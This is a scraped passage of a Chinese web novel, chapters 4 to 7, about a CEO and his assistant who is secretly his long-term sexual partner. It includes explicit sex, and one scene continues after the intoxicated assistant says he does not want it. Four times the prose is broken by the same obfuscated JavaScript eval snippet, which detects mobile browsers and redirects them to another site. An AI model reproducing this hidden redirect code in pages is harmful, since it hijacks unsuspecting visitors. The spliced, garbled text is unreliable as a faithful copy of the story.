司机就记住了这个沉默好心的客人。 这次看他喝醉酒,就没想别的把他送到“家”了。 萧疏接过方闻钟,对出租车司机说:“谢谢。” 司机见没追究,客人也被他安全送到了,立马恢复笑脸,直接走了。 走出半截,他隔着后视镜看到,后来出现的那个男人,把客人脸掰正,然后看了他几息,弯腰公主抱抱进怀里,他们进了门,男人用脚踢上门。 “方闻钟,”没了外人,萧疏喊人的语气才温柔了几分,不再冷冷淡淡的。 方闻钟以为还在梦里,睁眼看到萧疏脸离他那么近,专注地看着他,越知道这不可能是现实了,只当还在梦里。 他伸出胳膊,抱上了萧疏的脖子。 “醉了,”萧疏嘴角轻笑了一下。 大概过了一分钟,萧疏:“放开去洗澡。” 洗完澡睡觉。 方闻钟像突然触发了关键词,“洗澡,”洗完澡之后呢,他抱着萧疏的脖子,抬起头用唇贴他的脸。 贴上后,胡乱蹭着,最终吻上萧疏的嘴唇。 萧疏捏着方闻钟后肩的手紧了紧,那力道足以让方闻钟疼痛,但他像没感觉似的,一个劲的和萧疏亲热。 “萧疏,萧疏,”方闻钟亲着亲着自己哭了。 萧疏看他模糊的脸。 他在床上也很少叫萧疏的名字,此刻这么投入缠绵,恐怕真是做梦做傻了。 “我可没兴趣强|奸一个喝醉酒的人,”萧疏把方闻钟的胳膊扯下来,用了些力道甩开他,自己先去替他拿洗漱的东西。 方闻钟被扔下,看到萧疏离开的背影,突然激动地站起来。 他腿狠狠磕在茶几上,萧疏忽然转过头来。 他问:“萧总,你,你今天下午是生气了吗?” 萧疏三步两步,过来站在他面前,“你知道我生气了?” 他替方闻钟摘掉碍人眼的黑框眼镜。 方闻钟明晃晃又可怜兮兮雾蒙蒙的眼睛看着他,“你推开我了,你把我支使走了,我,”他摇着头。 手却想抱萧疏的腰,想要寻求安慰。 萧疏任他抱着,终于低头说了一句,“那你知道我和顾芙雅说了什么吗?” 提到顾芙雅这个名字,方闻钟只觉心更痛了,反正只是梦里,喝醉了放纵一下也好,他坦白自己的心声,“我不知道,我不敢想,萧总,我们要结束了吗?你什么时候结婚啊,到时候你会不会嫌我碍眼,不对,就算你什么都不说,我也待不下去了,萧疏,我要怎么才能看着你和她结婚亲密,而我再当一个尽职的助理?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13710958|144550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 萧疏:“你做不到吗?” 方闻钟:“做不到。” 萧疏歪着头,低下身去嘴唇擦过他脖子,“那你怎么说和我断就断了呢,方闻钟,没我在床上滋润你,忍得住吗。” 丝丝腻人又荡人心弦的气息,撩过方闻钟的脖子、耳朵,他只觉得全身皮肤一瞬间痒得慌,心像被勾着,吊着,耳边那魔鬼般的低语还在响:“想要吗。” “想。” “要和我上|床吗?” “要。” “不怕我结婚了?” 方闻钟松开萧疏的腰,萧疏一下把他重新拉进怀里,“知道我下午和顾芙雅说了什么吗?”他又问了一遍。 方闻钟仰着头看他。 萧疏直视着他说:“我说,我讨厌没用的废物,顾芙雅有一个哥哥,他们家的生意全在他哥手里,而很不巧,我和他哥关系不好,她和她哥也不甚亲密,所以,就算我联姻,也不需要一个给不了我想要的价值的废物。” 他说得好清醒,方闻钟就算喝醉了酒,大脑一时反应不过来,也隐隐约约潜意识里知道,这才是萧疏。 “况且,顾家我还不放在眼里,就算她哥拱手相让,我也不至于委屈自己去拿我本能得到的东西。除非……除非他们有我想要的更大的价值……” 顾芙雅因此,脸色惨白被萧疏一通话说,当场快吓哭了。 最后还逞强说她一定会插手自家企业,好好干让萧疏看到她有用! 萧疏对这个叫自己‘萧疏哥哥’的人,只留了最后一句话:不要让我再看到你擅闯我办公室,不然你叫爹都没用。 “方闻钟,”萧疏揽着他的腰,摩挲着他的脸,“我讨厌人生有变数,我的一切都有规划,我会在三十五岁结婚,不早不晚,而那之前,这五年,你休要离开我。” 怀里的人抖了一下,太多信息冲入脑中,让本来就不会思考的人越发糊涂。 五年,又是五年。 他三十五岁之后会和谁结婚呢。 顾家会给他更多的价值吗。 他,他还要继续沉迷放纵吗。 脖子上被吮吸了一下,方闻钟高高昂起头,“喜欢我亲你吗?”方闻钟抖成了筛子。 他被他压到床上,衣服催起来,胸前已印了几片红痕,感觉到下面一阵凉,方闻钟断断续续道:“萧,萧疏,我不想要了,我不想再当你的床伴。” 他的眼泪,打湿了两边的枕头,回答他的,是萧疏的东西已经慢慢挤进他身体。 方闻钟闷哼了一下,又扭又躲。 他们做过太多次,对彼此的身体太熟悉,这次萧疏很温柔,又很重,方闻钟嘴里拒绝着身体却很快湿润接纳他,他嘴里最后拒绝的话全被萧疏亲上吞咽回去。 一番云雨,方闻钟爽是爽到了,心里还过不去那个坎。 萧疏再一次明确表示了,他会结婚,哪怕他承诺会在五年后。 可方闻钟还要继续耗着自己的人生,从青年到中年,陪他胡闹吗。 离不开,待不下去,爱他,又不被爱,他像被烈火煎熬着,情事结束了,却越哭越凶。 餍足后的萧疏这次没有立马起身下床。 他食指蹭过他的眼泪,“可怜兮兮的。” 一句呢喃只像说给自己听,不期待方闻钟知道他在干什么。 等人哭得小了点,萧疏的手慢慢放到他下面。 方闻钟沉默,呆愣地看着他。 “让你也享受一下。” 他忽然低下头。 5. 第 5 章 方闻钟猛地坐起身,看到卧室熟悉的布景,身形一瞬间僵硬如石! 窗帘已经被拉开,这会儿阳光照进来撒在他脸上,他挡了一下眼睛,然后,看到萧疏光裸着上身,套了一身衬衫从换衣间出来。 他扫了他一眼,“起来,去上班了。” 方闻钟在他平淡的声音里,尴尬地想要钻进床底下! 昨晚发生了什么! 他怎么会在萧总家里!这么迟了还躺在他床上! 方闻钟看了眼自己没穿衣服的上半身,幸好萧疏的视线已经挪过去了,没有再让他感觉到被凌迟的压力,但这还是免不了头痛欲裂! 方闻钟佝偻着腰,死死皱着眉抱着头,这才想起来,他喝醉了,好像是司机师傅把他送到这里来的,而萧疏也接住了他。 接下来,发生了什么…… 他求欢的样子,主动抱着萧疏又亲又吻,说着要和他断了的话,转头却哭着喝醉酒上门祈求,不想分开,还敢质问昨天下午他和顾芙雅的事…… 方闻钟脸色惨白如纸,他微不可闻地发着抖,后悔,惭愧,丢人,这一刻几乎要吞噬了他。 萧疏后来解释了什么,他全都忘了! 只记得自己如一个离不开萧疏的小丑一样,躺在他身下尽情绽放! 前些日子说要结束的话,宛如一个笑话。 萧疏该怎么想他。 方闻钟挣扎着要站起来,临下床萧疏突然进来,他踉跄了一下赶紧用薄被遮住腰腿。 萧疏本来要说什么,一见他这动作,没好气道:“遮什么?我看过了。” “也尝过了。” - 方闻钟脸色逐渐爆红!他这才想起来,萧疏昨晚还对他做过什么! 这是真的吗?怎么可能!男人低着头,吮吸着他的脏东西,他难耐地手指插进他发丝,这个画面像有毒一般,方闻钟越想越摇摇欲坠! 不,不是真的。 他不会那样做的。 抓着被子的手越来越紧,心脏扑通扑通跳着,下面好像也重新有感觉了一样,萧疏走近他,吓得他立马所有想法和动作都不敢有了,呆滞地看向他,视线缓缓下移,落向他嘴唇。 “你昨晚和谁喝酒了,”萧疏抬手看了一下精致的腕表,“十点钟,你已经耽误我两个小时的工作时间,不过这次我不跟你计较,”萧疏抬头看他,“尽快收拾好,去公司。” 看人还傻站着,萧疏拧起眉,“还想待着?” 不,不,怎么敢,方闻钟慌乱地扯开被子,想要穿衣服,左顾右盼,衣服也不见了…… 哦,萧疏说:“先穿我的,自己去衣柜挑,”他指了一下换衣间。 晚上回去再换。 十分钟后,方闻钟无法再一直躲避萧疏的视线,“萧总,我可以先回家一趟吗?中午到公司。” 萧疏双手插兜,“昨晚和谁喝酒呢?” “乔先生,乔晟。” “说服他了吗?” “还没有。” 方闻钟头低得死死的,萧疏低气压,他终于又说了句,“那你不用去公司了,你还有…八十六个小时,尽快拿下他。” 他转身要走,似是打算自己一个人去公司。 “萧疏……” 背后,方闻钟忍不住虚弱地喊了他一句。 萧疏回头,方闻钟:“我们……我们,”他苦笑了一下,余光看向乱糟糟的灰色的床榻,咬着嘴唇。 萧疏过来,先是替他整理了一下衬衣领子,他的衣服他穿着有点宽松。 “抬起头来。” 方闻钟抬起头,萧疏替他把那黑框眼镜重新戴上。 “昨晚还记得多少?” 方闻钟在他的动作下,一动不敢动,嘴巴机械地几开几合,“记得,不多。” 记得他摇尾乞怜地重新在萧疏面前当一个“床伴”,不记得萧疏说了什么,记得萧疏亲口为他做那事时他爽得要升天,不记得,他有没有被发现,他对他有感情…… 他好像因为顾芙雅激动地多说了几句,萧疏会察觉到,会想多吗。 他喝醉酒后泄露的爱意,会被萧疏感受到,进而,嫌他麻烦,嫌他恶心推开他吗…… 萧疏的话语及时制止了胡思乱想要把自己折磨疯的方闻钟,“我说了,我会在五年后结婚,三十五岁之前不考虑,无论是顾家,还是其他家,方闻钟,这下你没必要再有道德压力了吧,”他倾身贴近他耳朵。 “哼,昨晚表现不错,看来我的判断从来不会出错,我们对彼此,一直很满意。” 他的视线像狼一样扫过方闻钟,“所以我不想再听见你口是心非的话了,”说什么,‘不想要,我们结束吧’…… “方闻钟,我培养了你五年,这些年,让你坐到总助的位置上,你觉得我对你有恩吗?”萧疏捏着他的脸。 方闻钟被迫抬起头,“有,”他承认,任何人都知道,他是他一手培养提拔起来的。 是他给了他机会,是他一步步教他让他紧紧站在他身边。 萧疏点着头,“有就好,那么,你该如何报答我呢?” 他压根不给方闻钟思考回话的时间,“待在我身边,保持原来的关系不变,做得到吗?” 方闻钟痴痴笑了几声,“做得到。”他垂下眼。 萧疏没有察觉到他的爱意,他只以为,他如此行事,还是身体离不开他,对他那般又亲又抱,是为了爽,是求上床。 他这样想也好,况且,他都拒绝了婚姻,暂时替他排除了道德压力,他该知足的不是吗。 方闻钟感觉尘埃落定,近日来所有的纠结,都没必要了,经过这一晚,经过这一次谈话,他重新站在了他旁边,睡在他身边。 而且,萧疏那么一个高傲、有洁癖的人,能在床榻之间,为他做到那个份上,他还有什么不满意的呢。 恐怕,他是唯一一个有此殊荣享受过他的服务的人。 方闻钟低低笑着。 可是为什么,为什么所有的事实都满意了,心底里却像砸下去一颗巨石,无人知道,他压得慌,痛得慌,喘不过气。 可能这就是,像一个爱人陪着他,却永远只是“像”。 “有考虑过搬过来和我一起住吗?” 走出家门,萧疏的问话把方闻钟吓了一跳,他立马摇头,“你不嫌麻烦就行,”他随意说了一句,上了车。 打开车窗,“让司机送你?” 方闻钟:“不用了萧总,我自己打车回去,我会尽快联系乔先生的,还有,我们的关系,我会和之前一样,不让第三个人知晓。”他微笑着。 萧疏看了他半晌,“随你,”合上了窗。 外人知不知晓,从来不在他考虑范围内。 萧疏的车走了,方闻钟才缓缓落下一直挺直的肩膀,好累,好想休息。 等了半晌才打到车,好巧不巧,又是那个出租车司机。 方闻钟: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13710959|144550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “……” 司机:“……” 司机:“这附近接单的少,碰巧我就在这儿,我们还挺有缘的,”他嘿嘿笑着。 方闻钟只能再坐上去。 “这里,是你家吗?”司机八卦道。 “不是,”方闻钟有些没好气,他看了眼偷偷从镜子里看他的司机,泄了一口气,算了,怪不了别人,是他自己先喝过头。 而且,已经发生的事实,再计较也改变不了什么了。 他和萧疏,又回到了过去。 头缓缓磕在车窗上,一路颠簸,一个多小时后,方闻钟才重新坐到自己租的出租公寓地上。 此时此刻,萧疏在办公室接到了家人的电话。 萧夫人惊讶地说:“你和雅雅说什么了,她怎么哭着回来了,问也不说,就说你不想联姻?” “妈,我结婚不着急。”萧疏一手转着笔,翘着二郎腿。 “雅雅挺好的,我和你爸斟酌了好久,你也不小了……” 萧疏:“看来你们只是担心我的身体,而不是担心萧家快破产了。”他讥讽道,不然大张旗鼓地搞联姻,还以为他萧疏要破产了呢。 萧夫人和那边偷偷听他们打电话的萧父,齐齐闭了音。 “你小子怎么说话呢……”萧夫人把脾气上来的萧父推远了点,“那我们也是担心你的身体,儿子啊,你三十了,一直一个人,”当妈的不好说,据所有人所知,萧疏身边没有任何伴侣,他一直单身到现在,父母两个真担心儿子那方面有问题,要么不行?要么,会不会憋死? 话不好说得太明白,幸好两方都知道在说什么。 萧疏无语:“我有床伴。” “啊!”他把电话拿远了点,听到那边尖叫,“萧疏你别乱搞!” “没有乱搞,”他情绪稳定地说:“我和对方每年都会做检查,只有彼此,”多久了,萧夫人弱弱问了一句,萧疏道:“五年。” 萧夫人和萧父都捂着心口!他瞒的够可以啊!五年了,还那么认真每年做检查,没有过别人,这哪是床伴啊,这明明是女朋友!死小子还嘴硬不承认! “儿子啊,那你什么时候把姑娘带回家来让妈妈见见啊?” “妈,”萧疏嘴下不留情,“你说话不要如此做作。” “他是男的。” 电话那边哐当一阵响,萧父的声音传来,“你说什么!” 萧疏挂了电话,无聊,谁有时间跟他们翻来覆去重复讲。 萧父和萧夫人举着手机大眼瞪小眼,好久过去了,萧父:“你也不管管他!这是什么事啊!” 萧夫人:“要能管得住,你也不会被他十来年前就挤下去了……他,他喜欢男的吗?那我们找雅雅,岂不是一开始就错了……” 萧夫人像傻了的兔子,道:“和男的真的不是乱搞吗,他爸,我们赶紧打听打听啊,对了,萧疏身边的那个助理,方助理是不是知道些什么?雅雅,哎呀,幸好我们没答应的太死,只说让孩子们自己处处看,但雅雅她妈热情过头,早在圈子里放出联姻的消息了,我看雅雅也对萧疏有感情啊,这可怎么办?你去哪里?” 萧父:“我去打死这个畜生!” “你打他干什么!” “他都和男的乱搞了!这是让萧家绝后啊!还不该打!” 萧夫人:要不,要不我们再建个小号? “萧疏不会乱来的,况且,他,他也没说一直和男人在一起啊……” 6. 第 6 章 温热的洗澡水滑过劳累过度的身躯,方闻钟闭着眼睛在花洒下摇了摇头,他手摸索着,忽然察觉到,昨天晚上,萧疏或许已经帮他清理过了,沾满水珠的脸顿时红了又白。 看来在他那里过夜还有这个好处,以前可是从来没有过的,都是他事后回家自己清理。 他和萧疏那么坦诚过,可一想到自己没意识,是萧疏抱着他帮他洗澡的,他就有些羞赧…… 方闻钟把头发抹到后边去,让自己赶紧甩开这些事,不要再想了,还有正经工作要干呢! 坐在地毯上,方闻钟把萧疏扔给他的项目书,又好好看了一遍,以及乔晟的履历,研究专业,他大学是学物理的,辅修过计算机,而乔晟研究的是量子科技,去年刚从国外回来,手里握的技术就大放光彩,引得行业内好多家关注他,想要“据为己有”。 可惜,乔晟是个不差钱的主,轻易不卖身。 难怪萧疏把它交给他,好歹专业相关点,方闻钟只想着,萧疏给他的任务是把人挖过来,还以为之后就与他无关了呢…… 他看着那些晦涩难懂的文字,既然萧总让他尽快拿下乔晟,默认他不用去公司了,方闻钟就自己待在家里好好工作,此时,离萧疏的视线远点,也能让他更专心。 这一看就直接看到了天黑,草草对付了一顿晚饭,方闻钟腿都没挪开过,又看到深夜,眼睛酸涩的不行了,论文恰巧翻到最后几页,他关了电脑。 起身时,忽然看到了早上被他穿来的萧疏的衣服。 高档的衬衫西裤,挂在他这平庸的出租屋里,显然委屈了它,方闻钟过去想收拾起来,手摸到衣服时,他突然深吸了一口气,然后把脸深深埋进衣服里。 上面残存着萧疏家里的气味,这一下,把他拉到了那个余念难安的卧室。 萧疏说,他三十五岁才会结婚,这五年,让他继续保持当他床伴的关系。 或许他们在床上会越来越满意彼此,或许身体的距离近了,心也会近?可是在他的计划里,他从来没放弃过结婚,或者说,还没有出现一个能让他另眼相看,能让他看到利用价值的女人…… 方闻钟捂着脸,笑了。 可悲的是,尽管他觉得这个发展让他意外又压抑,可是一想到他不会立马结婚,至少还要等五年,他竟然有一点点开心。 他说话,算话的吧? 第二天一早,当方闻钟意气风发地来到办公室,推开萧疏的门,萧总正在打电话,一见他来示意他等会儿。 方闻钟听不到电话里的声音,萧疏也自始至终没说话。 原来又是他爸妈打来的电话,夫妻两个不放心地再三确认,‘你确定你以后会结婚的吧?不会一直胡来?’。 萧疏嗤笑了一声。 “这就好这就好,可是,”萧夫人在那头又说:“那对那个,那个男的,是不是有点不好啊?” 萧父在那边嫌她妇人心肠,知道以自己儿子自私自利的性子,肯定给够了补偿,轮得到他们好心惦记,萧疏也是这么说的,“这就不用你操心了。” “好吧,”挂了电话。 萧疏抬头看向方闻钟,方闻钟立马把手里的资料递给他,这是他昨天做的功课,关于怎么“对付”乔晟。 萧疏看了半晌,“你拿主意就好。” “萧总,关于我们承诺给乔晟的好处,你还有什么好的建议吗?”方闻钟为难地说,其实他觉得,他资料里提出来的想法,虽然萧疏同意他如此行事了,但乔晟不一定感兴趣。 想了想,萧疏说:“以他的名义注册一家公司,全权负责他手里的东西,资金、人才,我们这边提供,但我们要占比40%以上,你去跟他说,他会同意的。” 闻言,方闻钟惊讶极了,萧总这是大出血! 但是如果真能全数取得乔晟的投入,这是值得的!只不过,看来萧疏对乔晟很了解,他们,究竟是什么关系? 方闻钟在原地犹豫着,萧疏工作间隙抬头,他还没走,看他欲言又止的神色,无所谓地解释了一句,“我们以前是同学,他在国内有想保护的人,脱离乔家建立他自己的势力,是他想要的,你去做吧,他会同意。” 他都把话说到这份上了,方闻钟立马心里有了底,感谢他的交代,“好的,萧总。” 在公司处理了一下其他工作,吩咐完其他几个助理要干的活,顺便和其他部门的几个高管接洽了一番,时间很快来到了下午,他看了看腕表,正准备出去,竟又碰到了独自来的顾芙雅。 不知道为什么,这次没有萧疏表妹的帮助,前台也好像特意被交代了,顾芙雅被拦住不让上去,她嚷嚷着她和萧疏定亲了,要上去见萧总! 前台同事为难地看着她,一见到方闻钟,像看到了救命恩人,“方总,”救命! 顾芙雅也看到了方闻钟,他看起来比上次见面精神了很多,一股年轻精英的气息扑面而来,面无表情,竟真有点萧疏的样子,很唬人。 顾芙雅诧异,其他同事倒是觉得,这才是方总助平日里的样子啊!可千万别被他的笑面虎形象骗到了!能在萧总身边干五年的!能是什么慈眉善目的人! 哼,还不是笑着笑着就把人算计了! 萧大魔王培养出来的,再和蔼也是小魔王! 顾芙雅一下跑到方闻钟跟前,方闻钟微微点头示意。 “方助理,你带我上去见萧疏哥哥好不好?” 她天真又无理地对方闻钟提出要求,他被她那目光刺了一下,很不舒服,但表面完全看不出来,“抱歉,顾小姐。” 他拒绝了她。 顾芙雅还在说:“我和萧疏哥哥已经定亲了,方助理你不知道吗?你带我上去见见他吧,哼,你们公司其他人肯定不认识我,”她摆出骄矜的大小姐模样,“方助理,你帮帮我呗,我以后也会在你们萧总面前帮你说好话的。” 她竟然还上来拉他胳膊! 方闻钟一下躲开了! 尽管,她以后还是有可能成为萧疏的妻子,尽管,他们的联姻说不定有一天会成真。 但是,他首先是萧疏的助理。 当萧疏已经明确跟他说过了他不会现在结婚,就上次的结果也能看出来顾芙雅被他赶出去了!那他就不能违背他的意愿! 打着违心的为他好的想法,又茶又作地再一次把顾芙雅往萧疏面前带,萧疏的怒气他不想再承担第二次! 第一次,他生气了,他没有做好一个助理的职责,擅自替他做决定,把人直接塞进去!他能冷漠地把他当场推出来,他不敢想,如果再来一次相似的,萧疏会怎么惩罚他。 “顾小姐,自重,没有萧总的同意,恐怕你今天不能上去,不要在我这里白费功夫。” 顾芙雅被方闻钟摆了一道,又气又恼,当方闻钟略过她率先往大门口走去时,她小声嘀咕了一句,“你算什么东西啊,不就是一个小助理……” “方助理,”眼看方闻钟马上就要推门出去了,顾芙雅迅速跑过去。 装得无辜又亲切说:“那我能问你一个问题吗?” 方闻钟沉默。 “萧疏……你们萧总有喜欢的人吗?”顾芙雅还没有自作多情或脸大到让别人以为萧疏喜欢她,她就,先打听一下。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13710960|144550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 很好回答的问题,答案也很确定。 “没有,”方闻钟冷酷地说。 然后头也不回地离开。 - 这次跟乔晟见面,方闻钟精挑细选选了好谈话的地方,他也做足了功课,乔晟来时,他恭敬地上前迎接。 乔晟被他这从地方到人,正经的做派搞得还有点不自在。 他自认为上次方闻钟在他面前示弱,他们已经算得上熟人了,朋友谈不上,起码能说笑几句,没想到这次方闻钟搞得这么正式,完全把他当一个工作任务处理。 乔晟也不是那不识趣的人,遂如他愿。 谈到专业方面,方闻钟是他见过几批来挖他的人里,难得一见的了解过的人,不像其他人,扯大旗扯的他想笑,屁都不懂。 于是,他兴致上来,陪他多聊了几句。 后来就是方闻钟提问,乔晟单纯给他解惑了。 时间一分一秒过去,方闻钟替乔晟又续了一杯茶,他引导性地又问了一些乔晟未来的想法。 乔晟看着他,喝了一口茶,这一下午,他们聊得还算愉快,方闻钟的工作处事方式,并不令他生厌,但他还是说:“我没有去萧总手底下干活的想法。” 看他摩挲着茶杯,方闻钟直接交底,“以你的名义注册公司,萧总全权提供资金和人脉,也不干吗?” 乔晟足足愣了好几秒,“这你的想法还是萧疏的想法?” 方闻钟:“乔先生抬举,如果萧总不点头,我如何有权力对你许下这个承诺。” 乔晟敛了神色,直截了当问:“他要多少股份。” 他不信萧疏会那么好心。 “40%。” 乔晟在思考,方闻钟也任凭他抛下他不管陷入沉思,直到那一杯茶品到最后,乔晟刚放下茶杯,方闻钟说:“听说你在国内有想保护的人。” “哦?” 乔晟先是疑惑,后又惊讶,“萧疏跟你说的?他连这个都跟你说?” 哼,那个男人啊,什么都知道,什么都看在眼里,但也不放在眼里。 “是,我喜欢男人,但我家里不同意。” 方闻钟手抖了一下,维持了好长时间的镇定和平静终于在脸上裂开来,他说什么? 呃,乔先生就这样跟他说了? 貌似……萧疏也知晓。 “没什么好惊讶的,”乔晟看着方闻钟坦白,“你们萧总倒是抓住了我的命脉,行,我会好好考虑一下,不过,”他微微倾身。 “我现在依旧对你好奇,你爱萧疏?” 叮咚一声,方闻钟的杯子掉在茶盏上,他被他盯着,僵硬不知如何作答,随即,扯出一个不太高明的假笑,“乔先生开什么玩笑……” “有没有开玩笑你还不知道吗,”乔晟重新靠回去,“方助理,坦诚点,我不是都把我的秘密告诉你了吗,说起来,我的爱人,以前还喜欢过萧疏,”并且,三年前,我们都见过面。 这点就没必要告诉方闻钟了。 方闻钟如一尊佛入定。 “萧疏知道吗?” “不知道。” 乔晟同情地看着他,“那你打算怎么办?就这样待在他身边一直当他助理,然后看他结婚生子?” “嗯,”方闻钟笑得温柔,看不出一丁点苦涩。 “我陪着他。” 你确定萧疏真的不知道?乔晟还想问。 而方闻钟能给出的唯一回答就是:他不知道最好。 他们平静地笑着,对视着,那一口沁人心脾的茶下去,方闻钟只觉胃里一阵翻江倒海。 7. 第 7 章 先是乔晟同意了萧疏这边提出来的建议,然后签合同,筹备公司,以及后续人员及资金到位,这一忙就忙到了一个月之后。 起初,方闻钟以为他的工作已经完成了,接下来就交给项目部接手。 但是萧疏以公司董事会有人不同意,不想引起行业内其他头部公司关注为由,最终这家公司由萧疏个人投资,与萧氏集团无关。 十几亿的资金谁都不敢马虎,方闻钟作为萧疏最信任的人,只能代他出面,和乔晟那边进行谈判。 而且,还要保持神秘,不能让外界明显看出来这一切变动与萧总有关。 乔晟的公司拔地而起,大家都还在观望谁会摘得桃子时,没想到他自立为王了,无不感概,不愧是背后有大树乘凉的乔家贵公子! 乔晟浅讽。 这一阵子可苦了方闻钟,前前后后在新公司跑不说,整个公司架构几乎是他一手建立起来的,问乔晟,乔晟就说他是技术人员,这方面不懂,但他还莫名其妙挺信任萧疏派来的方闻钟。 无奈,方闻钟有拿不准的,只能电话联系萧疏。 他和萧疏都有一段时间没见过面了。 除此之外,对公司要研究的专业领域,方闻钟只能熬夜再学习,白天苦哈哈当代理负责人,晚上还要当学生拜读乔晟的研究成果,一个月,黑眼圈都熬出来了。 终于快大功告成! 方闻钟和乔晟握手,把一沓文件和合同递给他。 乔晟看了半晌,忽然在一页停下来,然后他诧异地抬头看方闻钟,摇了摇手里的纸张。 合同显示,萧疏持股19%,而另外21%由方闻钟个人持股。 方闻钟揉了揉眼镜下的鼻梁,有些混沌地说:“哦,那是萧总的提议,由我代他持股,以防董事会那边过度反应。” 他说得太平静,以至于让乔晟自己都怀疑自己,难道是他太没见识了? 可这21%的股份!意味着方闻钟是超过萧疏的第二大股东!这是白纸黑字落在文件上有法律效益的!方闻钟肯定清楚!萧疏那个奸商更是明明白白!所以他们是怎么轻松把这个当做可以代持的? 他们又不是夫妻关系…… 说白了,这和送方闻钟有什么区别? 而方闻钟显然丝毫不这么认为,就是觉得他帮萧疏持股,避免其他麻烦,难道萧疏也是这么想这么做的?他不会这么天真吧? 这一刻,乔晟头脑风暴。 看着方闻钟疲惫、但单纯,完完全全信任萧疏的模样,再一想萧疏深不可测的行事风格,他忽然冒出一个谁也不敢想的猜测,萧疏心里绝对有方闻钟,嘴上不说,但他已经把方闻钟提到了可以和他坐在一个桌上分蛋糕的人。 这对萧疏这样的商人,意味着某些时候方闻钟比他名义上的妻子更得他看重。 乔晟咂摸着嘴,心里既是惊涛骇浪,又是感慨,萧疏啊萧疏,你就是一个狂妄的赌徒! 他复杂地沉默了好久,最终,压下一切胡思乱想,没在方闻钟面前再提起半分。 方闻钟也想到了那天萧疏让他签字的场景,解释的话三言两语,他平静地替萧疏签上自己的名字,他没当回事,萧疏也没当回事,签完之后,就让他直接走了。 方闻钟觉得,这和以前无数次他帮萧疏工作一样,只是他日常的一部分。 于是今天,他也如此平静地跟乔晟随便解释了两句。 “乔先生,一切顺利。” “一切顺利,”乔晟松开方闻钟的手,送他离开。 再回到公司,方闻钟竟有点亲切的感觉,同事见到他也是既欣喜又好奇!“方总助,最近在忙什么呢?好长时间没看见你了竟有点不习惯。” “还能干什么,”方闻钟和同事一起乘坐电梯,“在别的地方当牛做马罢了。” “我不在你还能不习惯?” “哈哈哈说得也是,毕竟我们平时也经常碰不到嘛,不过,我觉得,萧总肯定不习惯,”同事挤眉弄眼,“你不在的日子,萧总就没笑过。” 方闻钟被逗笑了,“说得好像我在了萧总就能笑开花。” “咦,好恐怖,”他们同时抖了抖,不敢想象! 方闻钟碰到了好多同事,有高层跟他寒暄打招呼,有小助理跟他分享八卦,“最近和萧总联姻的那个顾家千金好像黄了!我看到好几次她被拦在楼下,哎,萧总果然对人类不感兴趣,你不知道现在萧总表妹也不敢再在公司胡作非为了,那天我们亲眼看到她被萧总几个眼神几句话就吓得瑟瑟发抖不敢还嘴……” 恍如一场梦一般,再听到萧疏联姻的消息,方闻钟只感觉心被轻轻刺了一下,再也不是痛彻心扉的疼。 咚咚咚。 敲开门,看到熟悉的男人,方闻钟胸口涌上千言万语,他无法忽略,那里还有一丝隐隐约约的甜,那甜像一口蜜一般,摊开到越来越多的精神、肉|体,方闻钟对萧疏露出一个大大的笑,“萧总,我回来了。” “把这个处理一下,让项目部看看,做的是什么玩意儿,你去教教他们。” 工作又砸下来,方闻钟顿时又尴尬又好笑。 “萧总,这个好像不是我能教的了的吧,”方闻钟看完了。 萧疏停手,抬起头,“你这一个月白干了,把你放出去独当一面你就什么都没学到?”萧疏质疑到。 “呃……” “好的,萧总,我这就去办,”方闻钟不敢再和萧疏调笑了,那男人没有心!只有工作工作! 他要是敢说不会!没学到!萧疏当场就能说出让他滚蛋! 方闻钟又是被折磨又是被器重,好无趣的一天…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13710961|144550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一切,在傍晚发生一百八十度的转变,他看着窗外天气不太好,貌似很冷的样子,在后悔早上出门没带围巾,待会儿下去打车,再往出租屋走的那一段,肯定冷死,方闻钟缩了缩脖子。 就在这时,萧疏敲响了他办公室门。 男人随意地一手插兜,一手抬起做敲门的姿势,看到他看过来,“今晚跟我走。” “嗯?”方闻钟还没反应过来。 